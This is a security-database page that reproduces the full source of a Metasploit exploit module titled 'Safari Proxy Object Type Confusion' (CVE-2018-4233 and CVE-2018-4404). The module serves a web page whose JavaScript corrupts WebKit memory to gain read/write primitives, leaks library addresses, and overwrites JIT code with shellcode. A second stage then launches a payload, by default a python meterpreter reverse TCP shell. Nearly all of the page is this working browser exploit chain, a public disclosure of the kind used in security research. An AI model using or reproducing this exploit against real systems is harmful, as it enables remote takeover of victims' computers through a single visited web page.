Safari Proxy Object Type Confusion

2018.12.14
Credit: saelo
Risk: High
Local: No
Remote: Yes
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::EXE include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Safari Proxy Object Type Confusion', 'Description' => %q{ This module exploits a type confusion bug in the Javascript Proxy object in WebKit. The DFG JIT does not take into account that, through the use of a Proxy, it is possible to run arbitrary JS code during the execution of a CreateThis operation. This makes it possible to change the structure of e.g. an argument without causing a bailout, leading to a type confusion (CVE-2018-4233). The JIT region is then replaced with shellcode which loads the second stage. The second stage exploits a logic error in libxpc, which uses command execution via the launchd's "spawn_via_launchd" API (CVE-2018-4404). }, 'License' => MSF_LICENSE, 'Author' => [ 'saelo' ], 'References' => [ ['CVE', '2018-4233'], ['CVE', '2018-4404'], ['URL', 'https://github.com/saelo/cve-2018-4233'], ['URL', 'https://github.com/saelo/pwn2own2018'], ['URL', 'https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf'], ], 'Arch' => [ ARCH_PYTHON, ARCH_CMD ], 'Platform' => 'osx', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }, 'Targets' => [ [ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ], [ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ], ], 'DisclosureDate' => 'Mar 15 2018')) register_advanced_options([ OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information in the exploit javascript", false]), ]) end def offset_table { '10.12.6' => { :jsc_vtab => '0x0000d8d8', :dyld_stub_loader => '0x00001168', :dlopen => '0x000027f7', :confstr => '0x00002c84', :strlen => '0x00001b40', :strlen_got => '0xdc0', }, '10.13' => { :jsc_vtab => '0x0000e5f8', :dyld_stub_loader => '0x000012a8', :dlopen => '0x00002e60', :confstr => '0x000024fc', :strlen => '0x00001440', :strlen_got => '0xee8', }, '10.13.3' => { :jsc_vtab => '0xe5e8', :dyld_stub_loader => '0x1278', :dlopen => '0x2e30', :confstr => '0x24dc', :strlen => '0x1420', :strlen_got => '0xee0', }, } end def exploit_data(directory, file) path = ::File.join Msf::Config.data_directory, 'exploits', directory, file ::File.binread path end def stage1_js stage1 = exploit_data "CVE-2018-4233", "stage1.bin" "var stage1 = new Uint8Array([#{Rex::Text::to_num(stage1)}]);" end def stage2_js stage2 = exploit_data "CVE-2018-4404", "stage2.dylib" payload_cmd = payload.raw if target['Arch'] == ARCH_PYTHON payload_cmd = "echo \"#{payload_cmd}\" | python" end placeholder_index = stage2.index('PAYLOAD_CMD_PLACEHOLDER') stage2[placeholder_index, payload_cmd.length] = payload_cmd "var stage2 = new Uint8Array([#{Rex::Text::to_num(stage2)}]);" end def get_offsets(user_agent) if user_agent =~ /Intel Mac OS X (.*?)\)/ version = $1.gsub("_", ".") mac_osx_version = Gem::Version.new(version) if mac_osx_version >= Gem::Version.new('10.13.4') print_warning "macOS version #{mac_osx_version} is not vulnerable" elsif mac_osx_version < Gem::Version.new('10.12') print_warning "macOS version #{mac_osx_version} is not vulnerable" elsif offset_table.key?(version) offset = offset_table[version] return <<-EOF const JSC_VTAB_OFFSET = #{offset[:jsc_vtab]}; const DYLD_STUB_LOADER_OFFSET = #{offset[:dyld_stub_loader]}; const DLOPEN_OFFSET = #{offset[:dlopen]}; const CONFSTR_OFFSET = #{offset[:confstr]}; const STRLEN_OFFSET = #{offset[:strlen]}; const STRLEN_GOT_OFFSET = #{offset[:strlen_got]}; EOF else print_warning "No offsets for version #{mac_osx_version}" end else print_warning "Unexpected User-Agent" end return false end def on_request_uri(cli, request) user_agent = request['User-Agent'] print_status("Request from #{user_agent}") offsets = get_offsets(user_agent) unless offsets send_not_found(cli) return end utils = exploit_data "CVE-2018-4233", "utils.js" int64 = exploit_data "CVE-2018-4233", "int64.js" html = %Q^ <html> <body> <script> #{stage1_js} stage1.replace = function(oldVal, newVal) { for (var idx = 0; idx < this.length; idx++) { var found = true; for (var j = idx; j < idx + 8; j++) { if (this[j] != oldVal.byteAt(j - idx)) { found = false; break; } } if (found) break; } this.set(newVal.bytes(), idx); }; #{stage2_js} #{utils} #{int64} #{offsets} var ready = new Promise(function(resolve) { if (typeof(window) === 'undefined') resolve(); else window.onload = function() { resolve(); } }); ready = Promise.all([ready]); print = function(msg) { //console.log(msg); //document.body.innerText += msg + '\\n'; } // Must create this indexing type transition first, // otherwise the JIT will deoptimize later. var a = [13.37, 13.37]; a[0] = {}; var referenceFloat64Array = new Float64Array(0x1000); // // Bug: the DFG JIT does not take into account that, through the use of a // Proxy, it is possible to run arbitrary JS code during the execution of a // CreateThis operation. This makes it possible to change the structure of e.g. // an argument without causing a bailout, leading to a type confusion. // // // addrof primitive // function setupAddrof() { function InfoLeaker(a) { this.address = a[0]; } var trigger = false; var leakme = null; var arg = null; var handler = { get(target, propname) { if (trigger) arg[0] = leakme; return target[propname]; }, }; var InfoLeakerProxy = new Proxy(InfoLeaker, handler); for (var i = 0; i < 100000; i++) { new InfoLeakerProxy([1.1, 2.2, 3.3]); } trigger = true; return function(obj) { leakme = obj; arg = [1.1, 1.1]; var o = new InfoLeakerProxy(arg); return o.address; }; } // // fakeobj primitive // function setupFakeobj() { function ObjFaker(a, address) { a[0] = address; } var trigger = false; var arg = null; var handler = { get(target, propname) { if (trigger) arg[0] = {}; return target[propname]; }, }; var ObjFakerProxy = new Proxy(ObjFaker, handler); for (var i = 0; i < 100000; i++) { new ObjFakerProxy([1.1, 2.2, 3.3], 13.37); } trigger = true; return function(address) { arg = [1.1, 1.1]; var o = new ObjFakerProxy(arg, address); return arg[0]; }; } function makeJITCompiledFunction() { // Some code to avoid inlining... function target(num) { for (var i = 2; i < num; i++) { if (num % i === 0) { return false; } } return true; } // Force JIT compilation. for (var i = 0; i < 1000; i++) { target(i); } for (var i = 0; i < 1000; i++) { target(i); } for (var i = 0; i < 1000; i++) { target(i); } return target; } function pwn() { // Spray Float64Array structures so that structure ID 0x1000 will // be a Float64Array with very high probability var structs = []; for (var i = 0; i < 0x1000; i++) { var a = new Float64Array(1); a['prop' + i] = 1337; structs.push(a); } // Setup exploit primitives var addrofOnce = setupAddrof(); var fakeobjOnce = setupFakeobj(); // (Optional) Spray stuff to keep the background GC busy and increase reliability even further /* var stuff = []; for (var i = 0; i < 0x100000; i++) { stuff.push({foo: i}); } */ var float64MemView = new Float64Array(0x200); var uint8MemView = new Uint8Array(0x1000); // Setup container to host the fake Float64Array var jsCellHeader = new Int64([ 00, 0x10, 00, 00, // m_structureID 0x0, // m_indexingType 0x2b, // m_type 0x08, // m_flags 0x1 // m_cellState ]); var container = { jsCellHeader: jsCellHeader.asJSValue(), butterfly: null, vector: float64MemView, length: (new Int64('0x0001000000001337')).asJSValue(), mode: {}, // an empty object, we'll need that later }; // Leak address and inject fake object // RawAddr == address in float64 form var containerRawAddr = addrofOnce(container); var fakeArrayAddr = Add(Int64.fromDouble(containerRawAddr), 16); print("[+] Fake Float64Array @ " + fakeArrayAddr); /// /// BEGIN CRITICAL SECTION /// /// Objects are corrupted, a GC would now crash the process. /// We'll try to repair everything as quickly as possible and with a minimal amount of memory allocations. /// var driver = fakeobjOnce(fakeArrayAddr.asDouble()); while (!(driver instanceof Float64Array)) { jsCellHeader.assignAdd(jsCellHeader, Int64.One); container.jsCellHeader = jsCellHeader.asJSValue(); } // Get some addresses that we'll need to repair our objects. We'll abuse the .mode // property of the container to leak addresses. driver[2] = containerRawAddr; var emptyObjectRawAddr = float64MemView[6]; container.mode = referenceFloat64Array; var referenceFloat64ArrayRawAddr = float64MemView[6]; // Fixup the JSCell header of the container to make it look like an empty object. // By default, JSObjects have an inline capacity of 6, enough to hold the fake Float64Array. driver[2] = emptyObjectRawAddr; var header = float64MemView[0]; driver[2] = containerRawAddr; float64MemView[0] = header; // Copy the JSCell header from an existing Float64Array and set the butterfly to zero. // Also set the mode: make it look like an OversizeTypedArray for easy GC survival // (see JSGenericTypedArrayView<Adaptor>::visitChildren). driver[2] = referenceFloat64ArrayRawAddr; var header = float64MemView[0]; var length = float64MemView[3]; var mode = float64MemView[4]; driver[2] = containerRawAddr; float64MemView[2] = header; float64MemView[3] = 0; float64MemView[5] = length; float64MemView[6] = mode; // Root the container object so it isn't garbage collected. // This will allocate a butterfly for the fake object and store a reference to the container there. // The fake array itself is rooted by the memory object (closures). driver.container = container; /// /// END CRITICAL SECTION /// /// Objects are repaired, we will now survive a GC /// if (typeof(gc) !== 'undefined') gc(); memory = { read: function(addr, length) { driver[2] = memory.addrof(uint8MemView).asDouble(); float64MemView[2] = addr.asDouble(); var a = new Array(length); for (var i = 0; i < length; i++) a[i] = uint8MemView[i]; return a; }, write: function(addr, data) { driver[2] = memory.addrof(uint8MemView).asDouble(); float64MemView[2] = addr.asDouble(); for (var i = 0; i < data.length; i++) uint8MemView[i] = data[i]; }, read8: function(addr) { driver[2] = addr.asDouble(); return Int64.fromDouble(float64MemView[0]); }, write8: function(addr, value) { driver[2] = addr.asDouble(); float64MemView[0] = value.asDouble(); }, addrof: function(obj) { float64MemView.leakme = obj; var butterfly = Int64.fromDouble(driver[1]); return memory.read8(Sub(butterfly, 0x10)); }, }; print("[+] Got stable memory read/write!"); // Find binary base var funcAddr = memory.addrof(Math.sin); var executableAddr = memory.read8(Add(funcAddr, 24)); var codeAddr = memory.read8(Add(executableAddr, 24)); var vtabAddr = memory.read8(codeAddr); var jscBaseUnaligned = Sub(vtabAddr, JSC_VTAB_OFFSET); print("[*] JavaScriptCore.dylib @ " + jscBaseUnaligned); var jscBase = And(jscBaseUnaligned, new Int64("0x7ffffffff000")); print("[*] JavaScriptCore.dylib @ " + jscBase); var dyldStubLoaderAddr = memory.read8(jscBase); var dyldBase = Sub(dyldStubLoaderAddr, DYLD_STUB_LOADER_OFFSET); var strlenAddr = memory.read8(Add(jscBase, STRLEN_GOT_OFFSET)); var libCBase = Sub(strlenAddr, STRLEN_OFFSET); print("[*] dyld.dylib @ " + dyldBase); print("[*] libsystem_c.dylib @ " + libCBase); var confstrAddr = Add(libCBase, CONFSTR_OFFSET); print("[*] confstr @ " + confstrAddr); var dlopenAddr = Add(dyldBase, DLOPEN_OFFSET); print("[*] dlopen @ " + dlopenAddr); // Patching shellcode var stage2Addr = memory.addrof(stage2); stage2Addr = memory.read8(Add(stage2Addr, 16)); print("[*] Stage 2 payload @ " + stage2Addr); stage1.replace(new Int64("0x4141414141414141"), confstrAddr); stage1.replace(new Int64("0x4242424242424242"), stage2Addr); stage1.replace(new Int64("0x4343434343434343"), new Int64(stage2.length)); stage1.replace(new Int64("0x4444444444444444"), dlopenAddr); print("[+] Shellcode patched"); // Leak JITCode pointer poison value var poison_addr = Add(jscBase, 305152); print("[*] Poison value @ " + poison_addr); var poison = memory.read8(poison_addr); print("[*] Poison value: " + poison); // Shellcode var func = makeJITCompiledFunction(); var funcAddr = memory.addrof(func); print("[+] Shellcode function object @ " + funcAddr); var executableAddr = memory.read8(Add(funcAddr, 24)); print("[+] Executable instance @ " + executableAddr); var jitCodeAddr = memory.read8(Add(executableAddr, 24)); print("[+] JITCode instance @ " + jitCodeAddr); var codeAddrPoisoned = memory.read8(Add(jitCodeAddr, 32)); var codeAddr = Xor(codeAddrPoisoned, poison); print("[+] RWX memory @ " + codeAddr.toString()); print("[+] Writing shellcode..."); var origCode = memory.read(codeAddr, stage1.length); memory.write(codeAddr, stage1); print("[!] Jumping into shellcode..."); var res = func(); if (res === 0) { print("[+] Shellcode executed sucessfully!"); } else { print("[-] Shellcode failed to execute: error " + res); } memory.write(codeAddr, origCode); print("[*] Restored previous JIT code"); print("[+] We are done here, continuing WebContent process as if nothing happened =)"); if (typeof(gc) !== 'undefined') gc(); } ready.then(function() { try { pwn(); } catch (e) { print("[-] Exception caught: " + e); } }).catch(function(err) { print("[-] Initializatin failed"); }); </script> </body> </html> ^ unless datastore['DEBUG_EXPLOIT'] html.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') end send_response(cli, html, {'Content-Type'=>'text/html'}) end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top